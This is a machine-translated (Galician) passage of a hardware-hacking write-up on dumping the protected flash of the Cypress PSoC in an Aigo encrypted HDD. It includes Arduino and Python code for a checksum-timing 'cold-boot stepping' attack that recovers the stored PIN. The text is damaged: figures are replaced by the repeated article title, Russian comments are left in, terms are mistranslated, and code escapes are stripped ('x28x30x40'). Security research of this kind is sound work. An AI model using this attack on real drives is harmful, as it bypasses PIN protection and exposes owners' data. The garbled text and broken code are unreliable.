Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC

Esta é a segunda e última parte do artigo sobre o hackeo de unidades de autocifrado externas. Permítanme lembrar que un colega me trouxo recentemente un disco duro Patriot (Aigo) SK8671 e decidín revertelo, e agora comparto o que saíu. Antes de ler máis, asegúrate de ler primeira parte artigos.

4. Comezamos a facer un volcado da unidade flash interna do PSoC
5. Protocolo ISSP
- 5.1. Que é ISSP
- 5.2. Desmitificando Vectores
- 5.3. Comunicación con PSoC
- 5.4. Identificación de rexistros no chip
– 5.5. Bits de seguridade
6. Primeiro ataque (fallado): ROMX
7. Segundo ataque: rastrexo de arranque en frío
- 7.1. Implementación
– 7.2. Lectura do resultado
- 7.3. Reconstrución binaria flash
– 7.4. Buscando o enderezo de almacenamento do código PIN
– 7.5. Tomando un vertedoiro do bloque no 126
– 7.6. Recuperación do código PIN
8. Que segue?
9. Conclusión

Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC


4. Comezamos a facer un volcado da unidade flash interna do PSoC

Entón, todo indica (como establecemos na [primeira parte]()) que o código PIN está almacenado nas profundidades de flash do PSoC. Polo tanto, necesitamos ler estas profundidades de flash. Fronte do traballo necesario:

  • tomar o control da "comunicación" co microcontrolador;
  • atopar unha forma de comprobar se esta "comunicación" está protexida da lectura desde fóra;
  • atopar unha forma de evitar a protección.

Hai dous lugares nos que ten sentido buscar un código PIN válido:

  • memoria flash interna;
  • SRAM, onde se pode almacenar o código PIN para comparalo co código PIN introducido polo usuario.

De cara ao futuro, notarei que aínda conseguín tirar a unidade flash PSoC interna, evitando o seu sistema de seguridade mediante un ataque de hardware chamado "rastreo de arranque en frío", despois de reverter as capacidades non documentadas do protocolo ISSP. Isto permitiume volcar directamente o código PIN real.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Código final do programa:

5. Protocolo ISSP

5.1. Que é ISSP

A "comunicación" cun microcontrolador pode significar diferentes cousas: desde "vendedor a provedor" ata interacción mediante un protocolo en serie (por exemplo, ICSP para o PIC de Microchip).

Cypress ten o seu propio protocolo propietario para iso, chamado ISSP (protocolo de programación en serie no sistema), que se describe parcialmente en especificación técnica. Patente US7185162 tamén dá algunha información. Tamén hai un equivalente de OpenSource chamado HSSP (usarémolo un pouco máis tarde). ISSP funciona do seguinte xeito:

  • reiniciar PSoC;
  • enviar o número máxico ao pin de datos en serie deste PSoC; para entrar en modo de programación externa;
  • enviar comandos, que son cadeas de bits longas chamadas "vectores".

A documentación do ISSP define estes vectores para só un pequeno puñado de comandos:

  • Inicializar-1
  • Inicializar-2
  • Inicializar-3 (opcións de 3V e 5V)
  • ID-CONFIGURACIÓN
  • LER-ID-PALABRAS
  • SET-BLOCK-NUM: 10011111010dddddddd111, onde dddddddd=bloque #
  • BORRAR A GRANO
  • PROGRAMA-BLOQUE
  • VERIFICAR-CONFIGURACIÓN
  • BYTE DE LECTURA: 10110aaaaaaZDDDDDDDDZ1, onde DDDDDDDD = saída de datos, aaaaaa = enderezo (6 bits)
  • BYTE DE ESCRITURA: 10010aaaaaadddddd111, onde ddddddd = entrada de datos, aaaaaa = enderezo (6 bits)
  • SEGURO
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, onde DDDDDDDDDDDDDDDD = saída de datos: suma de comprobación do dispositivo
  • BORRAR BLOQUE

Por exemplo, o vector para Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Todos os vectores teñen a mesma lonxitude: 22 bits. A documentación do HSSP ten información adicional sobre ISSP: "Un vector ISSP non é máis que unha secuencia de bits que representa un conxunto de instrucións".

5.2. Desmitificando Vectores

Imos descubrir o que está pasando aquí. Inicialmente, asumín que estes mesmos vectores eran versións en bruto das instrucións M8C, pero despois de comprobar esta hipótese, descubrín que os códigos de operación das operacións non coincidían.

Despois busquei en Google o vector anterior e atopei aquí está un estudo onde o autor, aínda que non entra en detalles, dá algúns consellos útiles: “Cada instrución comeza con tres bits que corresponden a un dos catro mnemotécnicos (ler desde RAM, escribir en RAM, ler rexistro, escribir rexistro). Despois hai 8 bits de dirección, seguidos de 8 bits de datos (lectura ou escritura) e, finalmente, tres bits de parada.

Despois puiden recoller información moi útil da sección Supervisory ROM (SROM). manual técnico. SROM é unha ROM codificada no PSoC que ofrece funcións de utilidade (de forma similar a Syscall) para o código do programa que se executa no espazo do usuario:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: Borrar bloque
  • 06h: Table Read
  • 07h: CheckSum
  • 08h: Calibrar0
  • 09h: Calibrar1

Ao comparar os nomes de vectores coas funcións SROM, podemos mapear as distintas operacións soportadas por este protocolo cos parámetros SROM esperados. Grazas a isto, podemos decodificar os tres primeiros bits dos vectores ISSP:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Non obstante, só se pode obter unha comprensión completa dos procesos no chip mediante a comunicación directa co PSoC.

5.3. Comunicación con PSoC

Desde Dirk Petrautsky xa portado Código HSSP de Cypress en Arduino, usei Arduino Uno para conectarme ao conector ISSP da placa do teclado.

Teña en conta que no curso da miña investigación, cambiei bastante o código de Dirk. Podes atopar a miña modificación en GitHub: aquí e o script Python correspondente para comunicarse con Arduino, no meu repositorio cypress_psoc_tools.

Entón, usando Arduino, primeiro usei só os vectores "oficiais" para a "comunicación". Tentei ler a ROM interna usando o comando VERIFY. Como era de esperar, non puiden facelo. Probablemente debido ao feito de que os bits de protección de lectura están activados dentro da unidade flash.

Despois creei algúns dos meus vectores sinxelos para escribir e ler memorias/rexistros. Teña en conta que podemos ler a SROM completa aínda que a unidade flash estea protexida.

5.4. Identificación de rexistros no chip

Despois de mirar os vectores "desmontados", descubrín que o dispositivo usa rexistros non documentados (0xF8-0xFA) para especificar códigos de operación M8C que se executan directamente, evitando a protección. Isto permitiume executar varios opcodes como "ADD", "MOV A, X", "PUSH" ou "JMP". Grazas a eles (observando os efectos secundarios que teñen nos rexistros) puiden determinar cales dos rexistros non documentados eran en realidade rexistros regulares (A, X, SP e PC).

Como resultado, o código "desmontado" xerado pola ferramenta HSSP_disas.rb ten o seguinte aspecto (engadín comentarios para claridade):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits de seguridade

Neste momento xa podo comunicarme co PSoC, pero aínda non teño información fiable sobre os bits de seguridade da unidade flash. Sorprendeume moito o feito de que Cypress non proporcione ao usuario do dispositivo ningún medio para comprobar se a protección está activada. Afondei máis en Google para comprender finalmente que o código HSSP proporcionado por Cypress actualizouse despois de que Dirk publicase a súa modificación. E entón! Este novo vector apareceu:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Usando este vector (ver read_security_data en psoc.py), obtemos todos os bits de seguridade en SRAM en 0x80, onde hai dous bits por bloque protexido.

O resultado é deprimente: todo está protexido no modo "desactivar lectura e escritura externa". Polo tanto, non só non podemos ler nada dunha unidade flash, senón que tampouco podemos escribir nada (por exemplo, para instalar alí un dumper ROM). E a única forma de desactivar a protección é borrar por completo todo o chip. 🙁

6. Primeiro ataque (fallado): ROMX

Non obstante, podemos probar o seguinte truco: xa que temos a capacidade de executar códigos de operación arbitrarios, por que non executar ROMX, que se usa para ler a memoria flash? Este enfoque ten boas posibilidades de éxito. Porque a función ReadBlock que le os datos da SROM (que é utilizada polos vectores) verifica se se chama desde o ISSP. Non obstante, é posible que o código de operación ROMX non teña tal verificación. Entón, aquí está o código de Python (despois de engadir algunhas clases auxiliares ao código Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Desafortunadamente, este código non funciona. 🙁 Ou mellor dito funciona, pero na saída temos os nosos propios códigos de operación (0x28 0x30 0x40)! Non creo que a correspondente funcionalidade do dispositivo sexa un elemento de protección de lectura. Isto é máis parecido a un truco de enxeñería: cando se executan códigos operativos externos, o bus ROM é redirixido a un búfer temporal.

7. Segundo ataque: rastrexo de arranque en frío

Como o truco ROMX non funcionou, comecei a pensar noutra variación deste truco, descrita na publicación "Derramar demasiada luz sobre a protección do firmware dun microcontrolador".

7.1. Implementación

A documentación do ISSP proporciona o seguinte vector para CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Isto esencialmente chama á función SROM 0x07, tal e como se presenta na documentación (a miña cursiva):

Esta función de verificación da suma de verificación. Calcula unha suma de verificación de 16 bits do número de bloques especificados polo usuario nun banco flash, a partir de cero. O parámetro BLOCKID úsase para pasar o número de bloques que se utilizarán ao calcular a suma de verificación. Un valor de "1" só calculará a suma de verificación para o bloque cero; mentres que "0" fará que se calcule a suma de verificación total dos 256 bloques do banco flash. A suma de verificación de 16 bits devólvese a través de KEY1 e KEY2. O parámetro KEY1 almacena os 8 bits de orde baixa da suma de verificación e o parámetro KEY2 almacena os 8 bits de orde superior. Para dispositivos con varios bancos flash, a función de suma de verificación chámase para cada un por separado. O número de banco co que traballará establécese polo rexistro FLS_PR1 (fixando nel o bit correspondente ao banco flash de destino).

Teña en conta que esta é unha suma de verificación sinxela: os bytes simplemente engádense un despois do outro; sen peculiaridades CRC extravagantes. Ademais, sabendo que o núcleo M8C ten un conxunto moi pequeno de rexistros, asumín que ao calcular a suma de verificación, os valores intermedios rexistraranse nas mesmas variables que finalmente irán á saída: KEY1 (0xF8) / KEY2 ( 0xF9).

Polo tanto, en teoría, o meu ataque é así:

  1. Conectamos vía ISSP.
  2. Comezamos o cálculo da suma de verificación usando o vector CHECKSUM-SETUP.
  3. Reiniciamos o procesador despois dun tempo especificado T.
  4. Lemos RAM para obter a suma de comprobación actual C.
  5. Repita os pasos 3 e 4, aumentando un pouco T cada vez.
  6. Recuperamos datos dunha unidade flash restando a suma de comprobación C anterior da actual.

Non obstante, hai un problema: o vector Initialize-1 que debemos enviar despois do reinicio sobrescribe KEY1 e KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Este código sobrescribe a nosa preciosa suma de verificación chamando a Calibrate1 (función SROM 9)... Quizais poidamos enviar o número máxico (desde o principio do código anterior) para entrar no modo de programación e, a continuación, ler a SRAM? E si, funciona! O código de Arduino que implementa este ataque é bastante sinxelo:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Ler checkum_delay.
  2. Executa o cálculo da suma de verificación (send_checksum_v).
  3. Agarde un período de tempo especificado; tendo en conta as seguintes trampas:
    • Perdín moito tempo ata que descubrín o que resulta retardoMicrosegundos funciona correctamente só con atrasos non superiores a 16383 μs;
    • e despois matou de novo a mesma cantidade de tempo ata que descubrín que delayMicroseconds, se se lle pasa 0 como entrada, funciona completamente incorrectamente.
  4. Reinicie o PSoC en modo de programación (só enviamos o número máxico, sen enviar vectores de inicialización).

Código final en Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

En poucas palabras, o que fai este código:

  1. Reinicia o PSoC (e envíalle un número máxico).
  2. Envía vectores de inicialización completos.
  3. Chama á función Arduino Cmnd_STK_START_CSUM (0x85), onde o retardo en microsegundos se pasa como parámetro.
  4. Le a suma de verificación (0xF8 e 0xF9) e o rexistro non documentado 0xF1.

Este código execútase 10 veces en 1 microsegundo. 0xF1 inclúese aquí porque foi o único rexistro que cambiou ao calcular a suma de verificación. Quizais sexa algún tipo de variable temporal empregada pola unidade lóxica aritmética. Teña en conta o truco feo que uso para restablecer o Arduino usando picocom cando o Arduino deixa de mostrar signos de vida (non teño idea de por que).

7.2. Lectura do resultado

O resultado do script Python ten o seguinte aspecto (simplificado para facilitar a lectura):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dito isto, temos un problema: xa que estamos operando cunha suma de verificación real, un byte nulo non cambia o valor lido. Non obstante, dado que todo o procedemento de cálculo (8192 bytes) leva 0,1478 segundos (con lixeiras variacións cada vez que se executa), o que equivale a aproximadamente 18,04 μs por byte, podemos utilizar este tempo para comprobar o valor da suma de verificación nos momentos adecuados. Para as primeiras execucións, todo se le con bastante facilidade, xa que a duración do procedemento computacional é sempre case a mesma. Non obstante, o final deste vertedoiro é menos preciso porque as "desviacións menores de tempo" en cada carreira suman para facerse significativas:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Son 10 verteduras por cada retardo de microsegundos. O tempo de funcionamento total para descargar os 8192 bytes dunha unidade flash é dunhas 48 horas.

7.3. Reconstrución binaria flash

Aínda non rematei de escribir o código que reconstruirá completamente o código do programa da unidade flash, tendo en conta todas as desviacións de tempo. Non obstante, xa restaurei o inicio deste código. Para asegurarme de que o fixera correctamente, desmonteino usando m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Parece bastante plausible!

7.4. Buscando o enderezo de almacenamento do código PIN

Agora que podemos ler a suma de verificación nos momentos que necesitemos, podemos comprobar facilmente como e onde cambia cando:

  • introduza o código PIN incorrecto;
  • cambiar o código PIN.

En primeiro lugar, para atopar o enderezo de almacenamento aproximado, realicei un volcado de suma de verificación en incrementos de 10 ms despois dun reinicio. Despois introducín o PIN incorrecto e fixen o mesmo.

O resultado non foi moi agradable, xa que houbo moitos cambios. Pero ao final puiden determinar que a suma de verificación cambiou entre 120000 µs e 140000 µs de atraso. Pero o "código PIN" que mostrei alí era completamente incorrecto, debido a un artefacto do procedemento delayMicroseconds, que fai cousas estrañas cando se lle pasa 0.

Despois, despois de pasar case 3 horas, recordei que a chamada do sistema SROM CheckSum recibe un argumento como entrada que especifica o número de bloques para a suma de verificación. Iso. podemos localizar facilmente o enderezo de almacenamento do código PIN e o contador de "intentos incorrectos", cunha precisión de ata un bloque de 64 bytes.

As miñas carreiras iniciais deron o seguinte resultado:

Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC

Despois cambiei o código PIN de "123456" a "1234567" e obtiven:

Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC

Así, o código PIN e o contador de intentos incorrectos parecen estar almacenados no bloque no 126.

7.5. Tomando un vertedoiro do bloque no 126

O bloque #126 debería estar situado nalgún lugar ao redor de 125x64x18 = 144000μs, desde o inicio do cálculo da suma de verificación, no meu vertedoiro completo, e parece bastante plausible. Despois, despois de tamizar manualmente numerosos volcados non válidos (debido á acumulación de "desviacións de tempo menores"), acabei obtendo estes bytes (cunha latencia de 145527 μs):

Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC

É bastante obvio que o código PIN está almacenado en forma sen cifrar. Estes valores, por suposto, non están escritos en códigos ASCII, pero polo que se ve, reflicten as lecturas tomadas do teclado capacitivo.

Finalmente, realicei algunhas probas máis para atopar onde se almacenaba o contador de intentos incorrectos. Velaquí o resultado:

Inverter e piratear a unidade HDD externa autocifrada de Aigo. Parte 2: Facendo un vertedoiro de Cypress PSoC

0xFF - significa "15 intentos" e diminúe con cada intento fallido.

7.6. Recuperación do código PIN

Aquí está o meu código feo que xunta o anterior:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Este é o resultado da súa execución:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Funciona!

Teña en conta que os valores de latencia que usei probablemente sexan relevantes para un PSoC específico, o que usei.

8. Que segue?

Entón, resumimos no lado do PSoC, no contexto da nosa unidade de Aigo:

  • podemos ler SRAM aínda que estea protexida;
  • Podemos evitar a protección antideslizamento mediante un ataque de rastreo de arranque en frío e lendo directamente o código PIN.

Non obstante, o noso ataque ten algúns fallos debido a problemas de sincronización. Podería mellorarse do seguinte xeito:

  • escribir unha utilidade para decodificar correctamente os datos de saída que se obteñen como resultado do ataque de "arranque en frío";
  • use un gadget FPGA para crear atrasos de tempo máis precisos (ou use temporizadores de hardware Arduino);
  • proba outro ataque: introduce un código PIN deliberadamente incorrecto, reinicia e volca a RAM, esperando que o código PIN correcto se garde na RAM para comparalo. Non obstante, isto non é tan fácil de facer en Arduino, xa que o nivel de sinal de Arduino é de 5 voltios, mentres que a placa que estamos examinando funciona con sinais de 3,3 voltios.

Unha cousa interesante que se pode probar é xogar co nivel de tensión para evitar a protección de lectura. Se este enfoque funcionase, poderiamos obter datos absolutamente precisos da unidade flash, en lugar de confiar na lectura dunha suma de comprobación con atrasos de tempo imprecisos.

Dado que o SROM probablemente le os bits de garda mediante a chamada do sistema ReadBlock, poderiamos facer o mesmo que descrito no blog de Dmitry Nedospasov: unha reimplementación do ataque de Chris Gerlinski, anunciada na conferencia "REcon Bruxelas 2017".

Outra cousa divertida que se pode facer é limpar o caso do chip: facer un vertedoiro de SRAM, identificar chamadas de sistema non documentadas e vulnerabilidades.

9. Conclusión

Entón, a protección desta unidade deixa moito que desexar, porque utiliza un microcontrolador normal (non “endurecido”) para gardar o código PIN... Ademais, non mirei (aínda) como van as cousas cos datos. cifrado neste dispositivo!

Que lle podes recomendar a Aigo? Despois de analizar un par de modelos de unidades HDD cifradas, en 2015 fixen presentación en SyScan, no que examinou os problemas de seguridade de varias unidades de disco duro externas e fixo recomendacións sobre o que se podería mellorar neles. 🙂

Pasei dúas fins de semana e varias noites facendo esta investigación. Un total dunhas 40 horas. Contando desde o principio (cando abrín o disco) ata o final (volcado de código PIN). As mesmas 40 horas inclúen o tempo que pasei a escribir este artigo. Foi unha viaxe moi emocionante.

Fonte: www.habr.com

Engadir un comentario